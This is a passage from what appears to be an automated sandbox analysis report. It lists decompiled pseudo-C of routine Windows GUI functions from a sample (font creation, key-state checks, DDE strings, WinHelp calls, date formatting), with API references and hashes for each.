					if( *0x47fb34 != 0) {
						__eflags = _v12;
						if(_v12 == 0) {
							_v12 = E0043A1D0(1, _t124);
							 *0x47fb3c = 1;
						}
						_t128 =  *((intOrPtr*)(_v12 + 0x38));
						_t105 =  *0x4389e4; // 0x438a30
						_t54 = E004033FC( *((intOrPtr*)(_v12 + 0x38)), _t105);
						__eflags = _t54;
						if(_t54 == 0) {
							_t129 =  *((intOrPtr*)(_v12 + 0x38));
							__eflags =  *((intOrPtr*)(_t129 + 0x30));
							if( *((intOrPtr*)(_t129 + 0x30)) != 0) {
								L14:
								__eflags = 0;
								E004127E8(0,  &_v36, 0);
								E0043C5D4(_t129,  &_v28,  &_v36);
								_t60 = _v12;
								 *((intOrPtr*)(_t60 + 0x44)) = _v28;
								 *((intOrPtr*)(_t60 + 0x48)) = _v24;
								L15:
								__eflags =  *(_v12 + 0x44) +  *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x38)) + 0x48));
								E004127E8( *(_v12 + 0x44) +  *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x38)) + 0x48)),  &_v28,  *((intOrPtr*)(_v12 + 0x48)) +  *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x38)) + 0x4c)));
								_t65 = _v12;
								 *((intOrPtr*)(_t65 + 0x4c)) = _v28;
								 *((intOrPtr*)(_t65 + 0x50)) = _v24;
								goto L16;
							}
							_t116 =  *0x4389e4; // 0x438a30
							_t71 = E004033FC(_t129, _t116);
							__eflags = _t71;
							if(_t71 != 0) {
								goto L14;
							}
							GetCursorPos( &_v20);
							_t74 = _v12;
							 *(_t74 + 0x44) = _v20.x;
							 *((intOrPtr*)(_t74 + 0x48)) = _v20.y;
							goto L15;
						} else {
							GetWindowRect(E004432A4(_t128), _v12 + 0x44);
							L16:
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							L17:
							E0043AC9C(_v12, _v8, _t88, _t133, _t137);
							_pop(_t115);
							 *[fs:eax] = _t115;
							return 0;
						}
					}
					_pop(_t120);
					 *[fs:eax] = _t120;
					return 0;
				}
				E0040346C(__eax, _t135);
				if( *0x47fb34 != 0) {
					__eflags = _v12;
					if(_v12 == 0) {
						_v12 = E0043A0B8(_t124, 1);
						 *0x47fb3c = 1;
					}
					goto L17;
				}
				_pop(_t123);
				 *[fs:eax] = _t123;
				return 0;
			}

0x0043ae0c
0x0043ae15
0x0043ae18
0x0043ae1a
0x0043ae1c
0x0043ae24
0x0043ae25
0x0043ae2a
0x0043ae2d
0x0043ae32
0x0043ae35
0x0043ae3c
0x0043ae43
0x0043ae99
0x0043ae9e
0x0043aea5
0x0043aeb4
0x0043aeb8
0x0043aec8
0x0043aecb
0x0043aecb
0x0043aed5
0x0043aeda
0x0043aee0
0x0043aee5
0x0043aee7
0x0043af05
0x0043af08
0x0043af0c
0x0043af39
0x0043af3e
0x0043af40
0x0043af4d
0x0043af52
0x0043af58
0x0043af5e
0x0043af61
0x0043af73
0x0043af79
0x0043af7e
0x0043af84
0x0043af8a
0x00000000
0x0043af8a
0x0043af10
0x0043af16
0x0043af1b
0x0043af1d
0x00000000
0x00000000
0x0043af23
0x0043af28
0x0043af2e
0x0043af34
0x00000000
0x0043aee9
0x0043aef8
0x0043af8d
0x0043af96
0x0043af97
0x0043af98
0x0043af99
0x0043af9a
0x0043afa2
0x0043afa9
0x0043afac
0x00000000
0x0043afac
0x0043aee7
0x0043aea9
0x0043aeac
0x00000000
0x0043aeac
0x0043ae4e
0x0043ae5a
0x0043ae69
0x0043ae6d
0x0043ae81
0x0043ae84
0x0043ae84
0x00000000
0x0043ae6d
0x0043ae5e
0x0043ae61
0x00000000

Strings

vC, xrefs: 0043AEBE

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID:
String ID: vC
API String ID: 0-1921080006
Opcode ID: 3a3c37bf23f8f59241da9f0034ceb2b45ecf299e51c992db68add7f840191f95
Instruction ID: f9a2bc3b0d27cababe7c92e356ca73050e4fe0849fdd0af45879ee4038cb0285
Opcode Fuzzy Hash: 3a3c37bf23f8f59241da9f0034ceb2b45ecf299e51c992db68add7f840191f95
Instruction Fuzzy Hash: A351A2B0A44608DFCB10DF5AC881A9EBBF5FF88314F1050AAE844E7361D739AD95CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041CAA0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0041CAA0(void* __eax, void* __ebx, void* __ecx) {
				signed int _v8;
				struct tagLOGFONTA _v68;
				char _v72;
				char _v76;
				char _v80;
				intOrPtr _t76;
				intOrPtr _t81;
				void* _t107;
				void* _t116;
				intOrPtr _t126;
				void* _t137;
				void* _t138;
				intOrPtr _t139;

				_t137 = _t138;
				_t139 = _t138 + 0xffffffb4;
				_v80 = 0;
				_v76 = 0;
				_v72 = 0;
				_t116 = __eax;
				_push(_t137);
				_push(0x41cc29);
				_push( *[fs:eax]);
				 *[fs:eax] = _t139;
				_v8 =  *((intOrPtr*)(__eax + 0x10));
				if( *((intOrPtr*)(_v8 + 8)) != 0) {
					 *[fs:eax] = 0;
					_push(0x41cc30);
					return E00403FE4( &_v80, 3);
				} else {
					_t76 =  *0x47f8d8; // 0x2330a30
					E0041BDE4(_t76);
					_push(_t137);
					_push(0x41cc01);
					_push( *[fs:eax]);
					 *[fs:eax] = _t139;
					if( *((intOrPtr*)(_v8 + 8)) == 0) {
						_v68.lfHeight =  *(_v8 + 0x14);
						_v68.lfWidth = 0;
						_v68.lfEscapement = 0;
						_v68.lfOrientation = 0;
						if(( *(_v8 + 0x19) & 0x00000001) == 0) {
							_v68.lfWeight = 0x190;
						} else {
							_v68.lfWeight = 0x2bc;
						}
						_v68.lfItalic = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000002) != 0x00000000;
						_v68.lfUnderline = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000004) != 0x00000000;
						_v68.lfStrikeOut = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000008) != 0x00000000;
						_v68.lfCharSet =  *((intOrPtr*)(_v8 + 0x1a));
						E00404224( &_v72, _v8 + 0x1b);
						if(E00407D80(_v72, "Default") != 0) {
							E00404224( &_v80, _v8 + 0x1b);
							E00408714( &(_v68.lfFaceName), _v80);
						} else {
							E00404224( &_v76, "\rMS Sans Serif");
							E00408714( &(_v68.lfFaceName), _v76);
						}
						_v68.lfQuality = 0;
						_v68.lfOutPrecision = 0;
						_v68.lfClipPrecision = 0;
						_t107 = E0041CD84(_t116) - 1;
						if(_t107 == 0) {
							_v68.lfPitchAndFamily = 2;
						} else {
							if(_t107 == 1) {
								_v68.lfPitchAndFamily = 1;
							} else {
								_v68.lfPitchAndFamily = 0;
							}
						}
						 *((intOrPtr*)(_v8 + 8)) = CreateFontIndirectA( &_v68);
					}
					_pop(_t126);
					 *[fs:eax] = _t126;
					_push(0x41cc08);
					_t81 =  *0x47f8d8; // 0x2330a30
					return E0041BDF0(_t81);
				}
			}

0x0041caa1
0x0041caa3
0x0041caa9
0x0041caac
0x0041caaf
0x0041cab2
0x0041cab6
0x0041cab7
0x0041cabc
0x0041cabf
0x0041cac5
0x0041cacf
0x0041cc13
0x0041cc16
0x0041cc28
0x0041cad5
0x0041cad5
0x0041cada
0x0041cae1
0x0041cae2
0x0041cae7
0x0041caea
0x0041caf4
0x0041cb00
0x0041cb05
0x0041cb0a
0x0041cb0f
0x0041cb19
0x0041cb24
0x0041cb1b
0x0041cb1b
0x0041cb1b
0x0041cb35
0x0041cb42
0x0041cb4f
0x0041cb58
0x0041cb64
0x0041cb78
0x0041cb9d
0x0041cba8
0x0041cb7a
0x0041cb82
0x0041cb8d
0x0041cb8d
0x0041cbad
0x0041cbb1
0x0041cbb5
0x0041cbc0
0x0041cbc2
0x0041cbca
0x0041cbc4
0x0041cbc6
0x0041cbd0
0x0041cbc8
0x0041cbd6
0x0041cbd6
0x0041cbc6
0x0041cbe6
0x0041cbe6
0x0041cbeb
0x0041cbee
0x0041cbf1
0x0041cbf6
0x0041cc00
0x0041cc00

APIs

Part of subcall function 0041BDE4: RtlEnterCriticalSection.KERNEL32(?,0041BE21), ref: 0041BDE8

CreateFontIndirectA.GDI32(?), ref: 0041CBDE

Strings

MS Sans Serif, xrefs: 0041CB7D
Default, xrefs: 0041CB6C

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CreateCriticalEnterFontIndirectSection
String ID: MS Sans Serif$Default
API String ID: 2931345757-2137701257
Opcode ID: bbe963341523c651f799b0c752e7061f2bd249a784b4a3354c879464d800a7e1
Instruction ID: bbfb99ee38701556dea54b1481ae28c51a398b860f60efc1217ec60bf814efd5
Opcode Fuzzy Hash: bbe963341523c651f799b0c752e7061f2bd249a784b4a3354c879464d800a7e1
Instruction Fuzzy Hash: 94517530A48248DFDB11DFA4D981BCDBBF6EF48304F2540AAD404A7352D338AE45CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0045022C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84
keyboardCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0045022C(intOrPtr __eax, void* __edx) {
				char _v8;
				signed short _v10;
				intOrPtr _v16;
				char _v17;
				char _v24;
				intOrPtr _t34;
				intOrPtr _t40;
				intOrPtr _t42;
				intOrPtr _t48;
				void* _t51;
				intOrPtr _t64;
				intOrPtr _t67;
				void* _t69;
				void* _t71;
				intOrPtr _t72;

				_t69 = _t71;
				_t72 = _t71 + 0xffffffec;
				_t51 = __edx;
				_v16 = __eax;
				_v10 =  *((intOrPtr*)(__edx + 4));
				if(_v10 == 0) {
					return 0;
				} else {
					if(GetKeyState(0x10) < 0) {
						_v10 = _v10 + 0x2000;
					}
					if(GetKeyState(0x11) < 0) {
						_v10 = _v10 + 0x4000;
					}
					if(( *(_t51 + 0xb) & 0x00000020) != 0) {
						_v10 = _v10 + 0x8000;
					}
					_v24 =  *((intOrPtr*)(_v16 + 0x34));
					_t34 =  *0x47fbac; // 0x2330da8
					E0042447C(_t34,  &_v24);
					_push(_t69);
					_push(0x45032a);
					_push( *[fs:eax]);
					 *[fs:eax] = _t72;
					while(1) {
						_v17 = 0;
						_v8 = E0044FF30(_v16, 2, _v10 & 0x0000ffff);
						if(_v8 != 0) {
							break;
						}
						if(_v24 == 0 || _v17 != 2) {
							_pop(_t64);
							 *[fs:eax] = _t64;
							_push(0x450331);
							_t40 =  *0x47fbac; // 0x2330da8
							return E00424474(_t40);
						} else {
							continue;
						}
						goto L14;
					}
					_t42 =  *0x47fbac; // 0x2330da8
					E0042447C(_t42,  &_v8);
					_push(_t69);
					_push(0x4502ff);
					_push( *[fs:eax]);
					 *[fs:eax] = _t72;
					_v17 = E004500D8( &_v8, 0, _t69);
					_pop(_t67);
					 *[fs:eax] = _t67;
					_push(0x450306);
					_t48 =  *0x47fbac; // 0x2330da8
					return E00424474(_t48);
				}
				L14:
			}

0x0045022d
0x0045022f
0x00450233
0x00450235
0x0045023f
0x00450248
0x00450347
0x0045024e
0x00450258
0x0045025a
0x0045025a
0x0045026a
0x0045026c
0x0045026c
0x00450276
0x00450278
0x00450278
0x00450284
0x0045028a
0x0045028f
0x00450296
0x00450297
0x0045029c
0x0045029f
0x004502a2
0x004502a2
0x004502b4
0x004502bb
0x00000000
0x00000000
0x0045030a
0x00450314
0x00450317
0x0045031a
0x0045031f
0x00450329
0x00000000
0x00000000
0x00000000
0x00000000
0x0045030a
0x004502c0
0x004502c5
0x004502cc
0x004502cd
0x004502d2
0x004502d5
0x004502e4
0x004502e9
0x004502ec
0x004502ef
0x004502f4
0x004502fe
0x004502fe
0x00000000

APIs

GetKeyState.USER32(00000010), ref: 00450250
GetKeyState.USER32(00000011), ref: 00450262

Strings

, xrefs: 00450272

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-3916222277
Opcode ID: 5583899a525164284b38b6d965032fc039f63d35eeb37cea22796405f0c660ad
Instruction ID: 049f06af16329b73e53c479fe2313a271e921ebc20676de10d6b7f2b8de4fd88
Opcode Fuzzy Hash: 5583899a525164284b38b6d965032fc039f63d35eeb37cea22796405f0c660ad
Instruction Fuzzy Hash: 1F313934A04208AFDB11DFA5E81179EB7F5EB48304F9580FAEC04A7293E77C5E08C628

Uniqueness

Uniqueness Score: -1.00%

Function 0046534C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0046534C(void* __eax, void* __ebx, void* __edi, void* __esi, short _a4, void* _a8) {
				char _v5;
				char _v4101;
				char _v4108;
				char _v4112;
				intOrPtr _t31;
				char* _t50;
				intOrPtr _t51;
				void* _t56;
				intOrPtr _t63;
				intOrPtr _t73;
				void* _t78;

				_push(__eax);
				_v4112 = 0;
				_v4108 = 0;
				_t56 = __eax;
				_push(_t78);
				_push(0x46546c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t78 + 0xffffffffffffeff8;
				_v5 = 0;
				if(_a4 == 1) {
					_t31 =  *0x47fe68; // 0x2331f58
					DdeQueryStringA( *(_t31 + 0x44), _a8,  &_v4101, 0x1000, 0x3ec);
					E00404230( &_v4108, 0x1000,  &_v4101);
					_t73 = E00465698(_t56,  *((intOrPtr*)(_t56 + 0x3c)),  *((intOrPtr*)(_t56 + 0x38)), _v4108);
					if(_t73 != 0) {
						_t75 = E00465810(_t56, 1);
						 *((intOrPtr*)(_t40 + 0x3c)) = _t73;
						E00404230( &_v4112, 0x1000,  &_v4101);
						E0046596C(_t75, _v4112);
						E00413AE8( *((intOrPtr*)(_t56 + 0x44)), _t75);
						E00419758(_t75, _t56);
						if( *((intOrPtr*)(_t56 + 0x34)) == 0) {
							_t50 = E00404480( *((intOrPtr*)(_t56 + 0x30)));
							_t51 =  *0x47fe68; // 0x2331f58
							 *((intOrPtr*)(_t56 + 0x34)) = DdeCreateStringHandleA( *(_t51 + 0x44), _t50, 0x3ec);
						}
						_v5 = 1;
					}
				}
				_pop(_t63);
				 *[fs:eax] = _t63;
				_push(0x465473);
				return E00403FE4( &_v4112, 2);
			}

0x00465355
0x0046535e
0x00465364
0x0046536a
0x0046536e
0x0046536f
0x00465374
0x00465377
0x0046537a
0x00465383
0x0046539e
0x004653a7
0x004653bd
0x004653d6
0x004653da
0x004653ea
0x004653ec
0x00465400
0x0046540d
0x00465417
0x00465420
0x00465429
0x00465433
0x00465439
0x00465447
0x00465447
0x0046544a
0x0046544a
0x004653da
0x00465450
0x00465453
0x00465456
0x0046546b

APIs

DdeQueryStringA.USER32 ref: 004653A7

Part of subcall function 0046596C: DdeFreeStringHandle.USER32 ref: 0046598D
Part of subcall function 0046596C: DdeCreateStringHandleA.USER32 ref: 004659BA

DdeCreateStringHandleA.USER32 ref: 00465442

Strings

P3F, xrefs: 004653E0

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: String$Handle$Create$FreeQuery
String ID: P3F
API String ID: 1492443129-4163466807
Opcode ID: 9e02234f247b8b10b163f88a4f428db96763cd61325656d0ceef09da74ce85d5
Instruction ID: 7ef08fd04fbd56dcfdb7cf3ca2cef36aa64928ec681178213d6d791689d26a64
Opcode Fuzzy Hash: 9e02234f247b8b10b163f88a4f428db96763cd61325656d0ceef09da74ce85d5
Instruction Fuzzy Hash: 9531C1306002449FDB11DF19C881BCAB7A8EB48305F4081EAF848D7385EAB8DEC48B56

Uniqueness

Uniqueness Score: -1.00%

Function 00436A18, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00436A18(void* __eax, void* __ebx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				void* _t33;
				long _t46;
				CHAR* _t48;
				void* _t55;
				intOrPtr _t67;
				void* _t74;
				char _t76;
				void* _t79;

				_t74 = __edi;
				_t78 = _t79;
				_push(__ebx);
				_push(__esi);
				_v32 = 0;
				_v8 = 0;
				_v12 = 0;
				_t76 = __edx;
				_t55 = __eax;
				_push(_t79);
				_push(0x436b10);
				_push( *[fs:eax]);
				 *[fs:eax] = _t79 + 0xffffffe4;
				_t81 = __edx;
				if(__edx == 0) {
					E0040B694(0x4365b8, 1);
					E004039FC();
				}
				_v28 = _t76;
				_v24 = 0xb;
				E00436764(_t55, _t55,  &_v32, 0, _t74, _t76);
				_v20 = _v32;
				_v16 = 0xb;
				E00408D58("IE(AL(\"%s\",4),\"AL(\\\"%0:s\\\",3)\",\"JK(\\\"%1:s\\\",\\\"%0:s\\\")\")", 1,  &_v28,  &_v8);
				_t33 = E004370A8(_t55, _t74, _t78, _t81);
				_t82 = _t33;
				if(_t33 != 0) {
					E00436764(_t55, _t55,  &_v12, 0, _t74, _t76);
					if(E00437000(_t55, _t55, _v8, 1, _t76, _t82, 0) != 0 && _v12 != 0) {
						 *((char*)(_t55 + 0x10)) = 1;
						E00404014(_t55 + 0x14, _v8);
						_t46 = E00404480(_v8);
						_t48 = E00404480(_v12);
						WinHelpA( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x1c)))) + 0xc))(), _t48, 0x102, _t46);
					}
				}
				_pop(_t67);
				 *[fs:eax] = _t67;
				_push(0x436b17);
				E00403FC0( &_v32);
				return E00403FE4( &_v12, 2);
			}

0x00436a18
0x00436a19
0x00436a1e
0x00436a1f
0x00436a22
0x00436a25
0x00436a28
0x00436a2b
0x00436a2d
0x00436a31
0x00436a32
0x00436a37
0x00436a3a
0x00436a3d
0x00436a3f
0x00436a4d
0x00436a52
0x00436a52
0x00436a5b
0x00436a5e
0x00436a69
0x00436a71
0x00436a74
0x00436a85
0x00436a8c
0x00436a91
0x00436a93
0x00436a9c
0x00436ab1
0x00436ab9
0x00436ac3
0x00436acb
0x00436ad9
0x00436ae8
0x00436ae8
0x00436ab1
0x00436aef
0x00436af2
0x00436af5
0x00436afd
0x00436b0f

APIs

WinHelpA.USER32 ref: 00436AE8

Strings

xPB, xrefs: 00436A48
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")"), xrefs: 00436A80

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Help
String ID: IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")$xPB
API String ID: 2830496658-2131317249
Opcode ID: 137b39e1b0076def229c7006bdf37541dd347efb2a45bdd3c177b0b3a87c2917
Instruction ID: 78d41d3eac2aa6e80be1fc90dc5dca549c2396ef562fbcddbb2219abeba5eafc
Opcode Fuzzy Hash: 137b39e1b0076def229c7006bdf37541dd347efb2a45bdd3c177b0b3a87c2917
Instruction Fuzzy Hash: C6318770A00209ABDB04EF65C88169EB7B9AF4C308F51D07EE400F7391D7789E04CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00409BEC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
threadCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00409BEC(void* __eax, void* __ebx, intOrPtr* __edx, void* __esi, intOrPtr _a4) {
				char _v8;
				short _v18;
				short _v22;
				struct _SYSTEMTIME _v24;
				char _v280;
				char* _t32;
				intOrPtr* _t49;
				intOrPtr _t58;
				void* _t63;
				void* _t67;

				_v8 = 0;
				_t49 = __edx;
				_t63 = __eax;
				_push(_t67);
				_push(0x409cca);
				_push( *[fs:eax]);
				 *[fs:eax] = _t67 + 0xfffffeec;
				E00403FC0(__edx);
				_v24 =  *((intOrPtr*)(_a4 - 0xe));
				_v22 =  *((intOrPtr*)(_a4 - 0x10));
				_v18 =  *((intOrPtr*)(_a4 - 0x12));
				if(_t63 > 2) {
					E00404058( &_v8, 0x409cec);
				} else {
					E00404058( &_v8, 0x409ce0);
				}
				_t32 = E00404480(_v8);
				if(GetDateFormatA(GetThreadLocale(), 4,  &_v24, _t32,  &_v280, 0x100) != 0) {
					E00404230(_t49, 0x100,  &_v280);
					if(_t63 == 1 &&  *((char*)( *_t49)) == 0x30) {
						E004044E0( *_t49, E00404280( *_t49) - 1, 2, _t49);
					}
				}
				_pop(_t58);
				 *[fs:eax] = _t58;
				_push(E00409CD1);
				return E00403FC0( &_v8);
			}

0x00409bf9
0x00409bfc
0x00409bfe
0x00409c02
0x00409c03
0x00409c08
0x00409c0b
0x00409c10
0x00409c1c
0x00409c27
0x00409c32
0x00409c39
0x00409c52
0x00409c3b
0x00409c43
0x00409c43
0x00409c66
0x00409c7f
0x00409c8e
0x00409c94
0x00409caf
0x00409caf
0x00409c94
0x00409cb6
0x00409cb9
0x00409cbc
0x00409cc9

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00409CCA), ref: 00409C72
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00409CCA), ref: 00409C78

Strings

yyyy, xrefs: 00409C4D

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 2209b95148ff971dee7b6b7b4e53fa6079798670b8fed78e6af823c47d9ac2fa
Instruction ID: b18d9d72cccd833279b94bd457bb7341b3d858d1e4c67c5e2f30752cc0371fa1
Opcode Fuzzy Hash: 2209b95148ff971dee7b6b7b4e53fa6079798670b8fed78e6af823c47d9ac2fa
Instruction Fuzzy Hash: E121A174A182089BEB04EB55C942AAE73F8EF48304F1140BAFD05F73D2D6789E44C769

Uniqueness

Uniqueness Score: -1.00%

Function 00422620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00422620(intOrPtr __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4, char _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t62;
				intOrPtr _t64;
				intOrPtr _t67;
				void* _t77;
				void* _t78;
				intOrPtr _t79;
				intOrPtr _t80;

				_t77 = _t78;
				_t79 = _t78 + 0xfffffff8;
				_v8 = __eax;
				_v12 = E00403240(1);
				_push(_t77);
				_push(0x4226a7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t79;
				 *((intOrPtr*)(_v12 + 8)) = __edx;
				 *((intOrPtr*)(_v12 + 0x10)) = __ecx;
				memcpy(_v12 + 0x18, _a12, 0x15 << 2);
				_t80 = _t79 + 0xc;
				 *((char*)(_v12 + 0x70)) = _a8;
				if( *((intOrPtr*)(_v12 + 0x2c)) != 0) {
					 *((intOrPtr*)(_v12 + 0x14)) =  *((intOrPtr*)(_v12 + 8));
				}
				_t62 =  *0x411fe8; // 0x412034
				 *((intOrPtr*)(_v12 + 0x6c)) = E00403420(_a4, _t62);
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(0x47f8a8);
				L00405FFC();
				_push(_t77);
				_push(0x422707);
				_push( *[fs:edx]);
				 *[fs:edx] = _t80;
				E00421134( *((intOrPtr*)(_v8 + 0x28)));
				 *((intOrPtr*)(_v8 + 0x28)) = _v12;
				E00421130(_v12);
				_pop(_t67);
				 *[fs:eax] = _t67;
				_push(0x42270e);
				_push(0x47f8a8);
				L0040617C();
				return 0;
			}

0x00422621
0x00422623
0x0042262d
0x0042263c
0x00422641
0x00422642
0x00422647
0x0042264a
0x00422650
0x00422656
0x00422669
0x00422669
0x00422671
0x0042267b
0x00422686
0x00422686
0x0042268c
0x0042269a
0x0042269f
0x004226a2
0x004226be
0x004226c3
0x004226ca
0x004226cb
0x004226d0
0x004226d3
0x004226dc
0x004226e7
0x004226ea
0x004226f1
0x004226f4
0x004226f7
0x004226fc
0x00422701
0x00422706

APIs

RtlEnterCriticalSection.KERNEL32(0047F8A8), ref: 004226C3
RtlLeaveCriticalSection.KERNEL32(0047F8A8,0042270E,0047F8A8), ref: 00422701

Strings

4 A, xrefs: 0042268C

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: 4 A
API String ID: 3168844106-1216135674
Opcode ID: eaaccdc774d3827c357624cbe5a44e9e16332e8c7d6044c9d7a6373f108cd8c6
Instruction ID: c1db4f6d2e8a5476132be4df2a70275c6ea60be1f57b46ef68de028bebc1bfc1
Opcode Fuzzy Hash: eaaccdc774d3827c357624cbe5a44e9e16332e8c7d6044c9d7a6373f108cd8c6
Instruction Fuzzy Hash: E021A135B04308AFC701DF69D981999BBF5FF4C320F6181A6E844A7761C774AE80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040EE20, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040EE20(signed short* __eax, void* __ecx, intOrPtr* __edx) {
				intOrPtr* _v16;
				void* _t15;
				signed short* _t23;
				signed short _t34;
				intOrPtr* _t35;
				void* _t36;

				_t12 = __eax;
				_push(__ecx);
				_t35 = __edx;
				_t23 = __eax;
				if(( *__eax & 0x0000bfe8) != 0) {
					_t12 = E0040EB28(__eax, __ecx);
				}
				_t34 =  *_t35;
				if(_t34 >= 0x14) {
					if(_t34 != 0x100) {
						if(_t34 != 0x101) {
							if((_t34 & 0x00002000) == 0) {
